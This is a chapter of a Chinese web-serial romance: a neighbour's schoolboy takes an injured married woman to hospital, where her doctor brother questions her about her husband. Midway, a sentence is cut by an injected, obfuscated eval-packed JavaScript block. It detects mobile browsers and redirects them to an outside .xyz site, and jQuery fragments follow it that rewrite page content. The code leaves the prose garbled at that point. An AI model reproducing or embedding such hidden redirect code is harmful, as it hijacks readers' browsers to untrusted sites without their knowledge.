林晞浅浅扫过他清润的眉眼，流连至他身后的黑漆单车上，目光停顿。
确切地说，那是一辆二八大杠自行车，老式车把，老式铃铛，车胎上粘黏着细碎的灰黄泥土，一股浓浓的上世纪风味扑面而来。
要是在车座前的金属横杠上挂上只白色帆布袋，林晞甚至怀疑自己能在里面掏出来两只黄澄澄的玉米棒子。
虽说时尚是个圈，复古怀旧的流行元素近几年来也是屡见不鲜，但敢于如此大胆地付诸实践的，林晞还是第一次见。
现在的学生可真有个性。
“出门补习了？”林晞出于礼貌地问道。
汇宁苑小区往南几百米，就是附近著名的补习一条街，在南城一中家长和学生的大力支持下，里面的辅导班简直是遍地开花。
南城中学生放学的时间大多集中在六七点左右，不论是否自愿，他们放学后的光阴从不会归属于自己，而是陷落在辅导教室无休无止的题海中央。
不到十点钟，正巧是学生们二次放学的时候。
少年神色里流露出几分复杂，看了她一眼后，淡淡道：“不然，去登山吗？”
而后长腿一蹬，把车停在了林晞跟前，自己往街边的自动售货机走去。
林晞：“……”
她的手指在登山杖的软木手柄处转了转，眼神忽然定在了二八大杠的后车座上，粗厚的银漆金属圈成了一个极具顿感的长方形，中间焊接横竖各两条细长的银漆铁杆，构成一个简易的座位。
这车，应该能载人吧？
林晞心中一动，拄上登山杖就往自动售货机的方向走。
她再在这里陪蚊子聊会儿天，脚踝上的瘀血估计都要被热情的蚊子一家吸走了。
路灯的光芒穿透郁郁葱葱的树叶，描摹在少年干净整齐的校服边沿。在这条吵闹躁动的大街上，人潮川流，他却只是静静地盯在眼前微亮的光影里，仿佛与秋夜灯火融为一体。
林晞在他身后一段距离处站定，视线不自觉上移。
他的领口有点窄，肩宽也不合适。
他的脖颈肌肉微微绷起，后侧有一颗小痣，半露在头发之外，随着呼吸一下一下起伏。
“找我有事？”少年忽然转过身来，夜并不安静，但另一人的气息仍旧难以掩盖——一种不属于他的醇美柔和的馨香。
也是山林晨雾所没有的。
她的身后，橘黄色的灯光温柔散落，光点如珍珠点缀在她黑长的发丝中央，宁静安然。
他不擅长直视太过耀眼的光芒，目光很快移向了别处。
“能不能请你帮个忙？”
林晞不慌不忙，面对他坦然一笑。
保持独立，接壤社会——这是林晞心里一直留有的社会生存法则，过去二十余年岁月不居，身边人熙熙攘攘、来往不觉，这短短八个字却历久弥新。
从踏入社会的那一刻起，她就习惯了不为问题过分抱怨，习惯了尽快探求问题的解决之道。
当前最要紧的是送自己去就医，因此，即便是不久前才和少年不欢而散，她也要尽可能尝试。
林晞说着，微一抬脚，脚踝白皙的皮肤上显露出惨烈的红肿：“我不小心把脚扭伤了，手机也摔坏了，这个时间拦不着车，所以……”
“你想让我送你去医院？”他问得很干脆。
林晞点了点头。
少年俊秀的眉眼中浮现出锐利：“我为什么要浪费自己的时间送你去医院？”
林晞一顿，两个多小时前才就邻里和谐问题进行了一番“友好交流”，她从没指望对方能大人大量地立马答应。
可她也没这么容易放弃。
她眼神随意一瞥，见自动售货机的取货口仍维持着空空如也的姿态，心里忽然有了主意：“你送我去医院，我帮你清空这台售货机怎么样？”
少年愣了一下，直直对上她微微上翘的眉眼，半天不吭声了。
林晞浅浅露出笑容，知道他这是犹豫了。米黄色的自动售货机里摆放着各式各样的元宇宙系列盲盒，家里的弟弟妹妹就曾不止一次拜倒在盲盒经济的强大诱惑下，可受制于零用钱的数量和家长的管控，买起来总是畏手畏脚，他和他们年纪相仿，大概也会为之心动？
“我不需要。”
但拒绝来得就是这么突然。
林晞停滞了两秒，才掀了掀嘴唇，准备再争取一下，却听“咔啦”一声，自行车停车架光速落地，少年迈开长腿蹬上车，一整套动作行云流水，不出半分钟的时间，就连人带车消失在黑夜里。
目视着呼呼远去的一路尘烟，林晞呆立在原地。
这就是高三速度吗……
她苦闷地理了理鬓边吹乱的发丝，重新坐回了街边的长椅上，安慰自己，再等等吧，说不定还能等到晚归的出租车。
可直到少年骑车离开后的十几分钟里，林晞连一盏“空车”的出租车灯牌都没看到，全部都有人，有人，有人……
为什么交通拥堵和无车可乘可以发生在同一个城市里？这合理吗？
秋日的晚风很凉，吹得林晞头疼，她烦恼地抓了抓头顶散乱的头发，决定拄上登山杖先回家。
应急药箱里还有治疗跌打损伤的药膏和医用纱布，她下楼时只用药剂紧急处理了下，可以先应付着试试。
可她才支着登山杖直起身来，眼前倏地闪过一道长且明亮的灯光。
一辆踏板型电动自行车停在她跟前，蜜桃粉的车身，玫红色的车座，在这条刻板无聊的街道上，彰显着极强的存在感。
车上的人戴着顶纯黑的硬质头盔，一面茶色镜片把脸遮挡得严严实实，根本分辨不出他的本来面目，但等林晞的目光往下一落。
熟悉的身形，熟悉深蓝色校服。
她的身形微滞。
“不是要去医院吗？”坐在车上的人抬了抬头，淡淡问道。
路边的灯光缓缓摇曳在他的肩膀，吹出一个挺拔的影子。
配合他浅淡如初雪的嗓音，林晞的眼前，他和少年远去的身形渐渐重叠。
“你……不是走了吗？”求之不得的交通工具就摆在林晞面前，可她的笑容却略微僵硬。
而且这个交通工具……怎么看怎么天真无邪，和他青春洋溢里略带野性的气质一对比，简直格格不入。
唯一的好处，大概就是比那辆二八大杠自行车坐起来舒服，骑起来也能风驰电掣。
少年扔给她一个同款的硬质头盔，“你以为我这么小肚鸡肠，可以见死不救？”
你想多了。
林晞礼貌地微微一笑，接下头盔，收起登山杖，慢慢挪动步子，坐到了车子柔软的皮质车座上，长大以后，她还没坐过别人的后座，倒也是难得的新奇体验。
“多谢你……”
她的话忽然停顿，她至今还不知道少年的名字。
“周聿”，风吹来他的声音，“你不用谢我，是个正常人都会这么做。”
那陈年大概是不太正常吧。林晞无奈地舒了一口气，手指轻轻拽住周聿后腰处的衣服，指尖触碰，他的腰腹肌肉坚实紧绷，散发着微微的温热。
对方滞住一瞬，呼一下发动了车。
大概是为了尽快送她去医院，周聿骑车的速度很快，快到让人怀疑他要和这满城车流一决高下。
但他的脊背宽阔坚定，深蓝校服的衣角在沿途灯光里肆意飞扬，阻挡住扑面而来的狂风浪潮。
沿着笔直的柏油马路一路北去，林晞的心仿佛也乘了风，忽然感受到了无比的自由。
南城的灯火，少有地给了她不一样的感触，在工作、婚姻、家庭填充了每个角落的复杂人生里，曾经连纯粹地吹一场狂风仿佛都成了奢求，但她的人生路从不该如此。
风渐渐停
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15996307|178184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
住，车停在了南城大学附属医院的附近，周聿扶她乘电梯上到八楼，挂了个足外科的号。
夜间门诊病人寥寥无几，林晞直接按屏幕指示进了一号诊室。进门时，一个年轻的医生还在欻欻狂写病历。
等医生抬头，林晞看清了对方的脸，微微一愣：“哥？”
她已经尽可能避免把自己和陈年之间的糟心事闹到林家人那里，可没想到，今晚值班坐诊的医生居然是她的哥哥，林怀。
林怀身穿白大褂，一双眼睛乌黑有神，放下手里的病历，直奔林晞过来，压根没注意她身旁还立着个人。
“小晞？你怎么给自己搞成这样了？”
林晞随口解释：“不小心在家里摔了一跤。”
“你不是在南城中心医院，什么时候调到这儿来了？”
林怀：“半个月前。你工作忙，也没机会告诉你一声。”
“问题不算太严重，你等会去拍个CT，检查一下骨头，”林怀简单检查完，开给她一张检查单据，这才看了一眼周聿，“陈年呢，他怎么没陪你过来？”
林晞掩饰性地笑了笑，“这是我邻居家的男孩，叫周聿，多亏了他乐于助人，送我过来。”
周聿象征性地眨了眨眼，一言不发，像极了教室前排老实懂事的学生。
林怀冲他点了点头，目光转回林晞这处：“那陈年呢，他人呢？你别告诉我，这个时候他还在外边陪人喝酒。自己老婆不管不顾，跑到外人面前装孙子倒挺积极。”
“他……”
林晞想开口，却又无话可说，眼尾愈发苦涩起来。
来医院之前，林晞也曾以为自己可以扮演好公正严明的法官，为这段婚姻漂亮地判处死刑。可当林怀在她面前扒开了这层溃烂的事实，一种莫名的凌乱还是牢牢占据了她的心。
原来她曾经深爱过陈年，原来曾经爱过陈年的她那样天真美好，那样勇敢无畏。
可到头来，恰恰是陈年在她心上扎下了一柄最锋利的剑刃，血流如注，当初的那个她早已遍体鳞伤。
“你怎么了？”林怀意识到她脸色不佳，语气倏然一变，“是不是陈年又和你吵架了？他欺负你了？”
林晞收起眼神里的伤感，稍显局促地说：“没有，他工作一直都挺忙的，你又不是第一次知道。”
林怀还是不放心：“平时我也就不跟他多计较了，可今天你伤成这样，我必须得打电话问问这孙子，怎么照顾我妹妹的。”
林晞立时抓住了林怀急于掏手机的手臂，“算了，这么晚了，别打了。”
她不想听见陈年的声音，哪怕是电话里的一丝一毫。
林怀皱了皱眉：“他要是觉得晚，怎么会放心地让你自己一个人来医院。哥知道你心软脾气好，可你看看陈年和他妈干的那些事，我想想就来气。你就老老实实地坐着，我打个电话问候问候他。”
说完，他拿起手机来，开始翻找通话记录。
林晞的呼吸滞了滞，她忽然陷入到一种无名的恐慌中。
就像林怀说的，她确实容易心软，可她从不懦弱。她完全可以做到平静地结束这场婚姻，这对她来说是一种解脱，可她不是无情的机器，没办法在一夕之间消化掉四年积攒的情绪。
她能够想到的最快脱离苦海的方式，就是远离陈年，独自生活。等到风平浪静，这场婚姻也只会是她人生的节点。
但林怀的行为显然打破了她内心已有的和谐。
对方烦躁的动作仿佛一只无形的手，紧紧压在她的心脏上，即便林晞强迫自己冷静，可胸口的撕扯一遍又一遍地提醒着她，残破无比的烂摊子还远远没有结束。
她的眼中渐渐爬上层鲜红的血丝。
“我作业还没写完。”一直在旁边默默无声的周聿突然张口，他淡淡扫了眼独自落寞的林晞，“你再不去做检查，我明天就不用去上学了。”